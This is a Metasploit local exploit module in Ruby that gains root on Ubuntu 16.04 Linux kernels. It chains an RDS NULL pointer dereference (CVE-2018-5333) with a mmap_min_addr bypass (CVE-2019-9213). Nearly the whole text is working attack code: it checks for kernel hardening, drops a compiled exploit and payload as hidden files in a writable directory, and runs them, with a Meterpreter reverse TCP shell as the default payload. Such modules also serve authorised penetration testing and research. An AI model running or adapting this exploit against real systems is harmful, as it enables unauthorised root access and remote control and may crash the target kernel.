Reliable Datagram Sockets (RDS) rds_atomic_free_op Privilege Escalation

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = GoodRanking  
  
include Msf::Post::File  
include Msf::Post::Linux::Priv  
include Msf::Post::Linux::Compile  
include Msf::Post::Linux::System  
include Msf::Post::Linux::Kernel  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Reliable Datagram Sockets (RDS) rds_atomic_free_op NULL pointer dereference Privilege Escalation',  
'Description' => %q{  
This module attempts to gain root privileges on Linux systems by abusing  
a NULL pointer dereference in the `rds_atomic_free_op` function in the  
Reliable Datagram Sockets (RDS) kernel module (rds.ko).  
  
Successful exploitation requires the RDS kernel module to be loaded.  
If the RDS module is not blacklisted (default); then it will be loaded  
automatically.  
  
This exploit supports 64-bit Ubuntu Linux systems, including distributions  
based on Ubuntu, such as Linux Mint and Zorin OS.  
  
Target offsets are available for:  
  
Ubuntu 16.04 kernels 4.4.0 <= 4.4.0-116-generic; and  
Ubuntu 16.04 kernels 4.8.0 <= 4.8.0-54-generic.  
  
This exploit does not bypass SMAP. Bypasses for SMEP and KASLR are included.  
Failed exploitation may crash the kernel.  
  
This module has been tested successfully on various 4.4 and 4.8 kernels.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Mohamed Ghannam', # Discovery of RDS rds_atomic_free_op null pointer dereference and DoS PoC (2018-5333)  
'Jann Horn', # Discovery of MAP_GROWSDOWN mmap_min_addr bypass technique and PoC code (CVE-2019-9213)  
'wbowling', # C exploit combining 2018-5333 and CVE-2019-9213 targeting Ubuntu 16.04 kernel 4.4.0-116-generic  
'bcoles', # Metasploit module and updated C exploit  
'nstarke' # Additional kernel offsets  
],  
'DisclosureDate' => '2018-11-01',  
'Platform' => [ 'linux' ],  
'Arch' => [ ARCH_X64 ],  
'SessionTypes' => [ 'shell', 'meterpreter' ],  
'Targets' => [[ 'Auto', {} ]],  
'Privileged' => true,  
'References' =>  
[  
[ 'CVE', '2018-5333' ],  
[ 'CVE', '2019-9213' ],  
[ 'BID', '102510' ],  
[ 'URL', 'https://gist.github.com/wbowling/9d32492bd96d9e7c3bf52e23a0ac30a4' ],  
[ 'URL', 'https://github.com/0x36/CVE-pocs/blob/master/CVE-2018-5333-rds-nullderef.c' ],  
[ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1792&desc=2' ],  
[ 'URL', 'https://people.canonical.com/~ubuntu-security/cve/2018/CVE-2018-5333.html' ],  
[ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=7d11f77f84b27cef452cee332f4e469503084737' ],  
[ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=15133f6e67d8d646d0744336b4daa3135452cb0d' ],  
[ 'URL', 'https://github.com/bcoles/kernel-exploits/blob/master/CVE-2018-5333/cve-2018-5333.c' ]  
],  
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' },  
'Notes' =>  
{  
'Reliability' => [ REPEATABLE_SESSION ],  
'Stability' => [ CRASH_OS_DOWN ],  
},  
'DefaultTarget' => 0))  
register_advanced_options [  
OptBool.new('ForceExploit', [ false, 'Override check result', false ]),  
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])  
]  
end  
  
def base_dir  
datastore['WritableDir'].to_s  
end  
  
def check  
arch = kernel_hardware  
unless arch.include? 'x86_64'  
return CheckCode::Safe("System architecture #{arch} is not supported")  
end  
vprint_good "System architecture #{arch} is supported"  
  
offsets = strip_comments(exploit_data('CVE-2018-5333', 'cve-2018-5333.c')).scan(/kernels\[\] = \{(.+?)\};/m).flatten.first  
kernels = offsets.scan(/"(.+?)"/).flatten  
  
version = "#{kernel_release} #{kernel_version.split(' ').first}"  
unless kernels.include? version  
return CheckCode::Safe("Linux kernel #{version} is not vulnerable")  
end  
vprint_good "Linux kernel #{version} is vulnerable"  
  
if smap_enabled?  
return CheckCode::Safe('SMAP is enabled')  
end  
vprint_good 'SMAP is not enabled'  
  
if lkrg_installed?  
return CheckCode::Safe('LKRG is installed')  
end  
vprint_good 'LKRG is not installed'  
  
if grsec_installed?  
return CheckCode::Safe('grsecurity is in use')  
end  
vprint_good 'grsecurity is not in use'  
  
unless kernel_modules.include? 'rds'  
vprint_warning 'rds.ko kernel module is not loaded, but may be autoloaded during exploitation'  
return CheckCode::Detected('rds.ko kernel module is not loaded, but may be autoloaded during exploitation')  
end  
vprint_good 'rds.ko kernel module is loaded'  
  
CheckCode::Appears  
end  
  
def exploit  
unless [CheckCode::Detected, CheckCode::Appears].include? check  
unless datastore['ForceExploit']  
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'  
end  
print_warning 'Target does not appear to be vulnerable'  
end  
  
if is_root?  
unless datastore['ForceExploit']  
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'  
end  
end  
  
unless writable? base_dir  
fail_with Failure::BadConfig, "#{base_dir} is not writable"  
end  
  
exploit_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"  
  
if live_compile?  
vprint_status 'Live compiling exploit on system...'  
upload_and_compile exploit_path, exploit_data('CVE-2018-5333', 'cve-2018-5333.c')  
else  
vprint_status 'Dropping pre-compiled exploit on system...'  
upload_and_chmodx exploit_path, exploit_data('CVE-2018-5333', 'cve-2018-5333.out')  
end  
register_file_for_cleanup exploit_path  
  
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"  
upload_and_chmodx payload_path, generate_payload_exe  
register_file_for_cleanup payload_path  
  
# mincore KASLR bypass is usually fast, but can sometimes take up to 30 seconds to complete  
timeout = 30  
print_status "Launching exploit (timeout: #{timeout})..."  
output = cmd_exec("echo '#{payload_path} & exit' | #{exploit_path}", nil, timeout)  
output.each_line { |line| vprint_status line.chomp }  
end  
end  
`